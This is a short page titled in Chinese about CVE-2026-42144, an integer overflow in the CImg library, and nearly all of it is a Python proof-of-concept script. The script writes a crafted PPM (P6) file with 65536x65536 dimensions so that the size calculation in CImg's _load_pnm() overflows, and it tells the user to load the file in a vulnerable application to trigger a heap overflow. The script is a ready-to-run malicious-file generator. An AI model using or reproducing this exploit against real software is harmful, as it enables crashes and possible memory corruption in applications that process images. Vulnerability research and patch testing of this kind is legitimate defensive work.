CVE-2026-42144 CImg库整数溢出漏洞

#!/usr/bin/env python3 # CVE-2026-42144 PoC Generator for CImg Integer Overflow # This script generates a malicious PPM (P6) file designed to trigger # an integer overflow in the _load_pnm() function of CImg. import struct def generate_malicious_pnm(filename): """ Generates a PPM file with dimensions that cause W*H*D to overflow. Target: CImg Library < commit 4ca26bc """ # PPM P6 format header: "P6 <width> <height> 255\n" # We use dimensions that multiply to a value > 2^31 - 1 (Max Signed Int) # causing a wrap-around to a small positive integer. width = 0x10000 # 65536 height = 0x10000 # 65536 # Calculation: 65536 * 65536 = 4294967296 (2^32) # If stored in a signed 32-bit int, this overflows. # Depending on implementation details, this may result in 0 or a small number. # CImg allocates based on this small number, but reads based on the huge dimensions. header = f"P6 {width} {height} 255\n" # Write some dummy pixel data (R, G, B) # The file doesn't need to be 4GB in size to trigger the crash during allocation/read logic mismatch, # but providing some data ensures the parser attempts to read. data = b"\x00\x00\x00" * 100 with open(filename, "wb") as f: f.write(header.encode('ascii')) f.write(data) print(f"[+] Malicious PNM file generated: {filename}") print(f"[+] Dimensions: {width}x{height}") print(f"[!] Load this file in a vulnerable CImg application to trigger the heap overflow.") if __name__ == "__main__": generate_malicious_pnm("cve-2026-42144-exploit.ppm")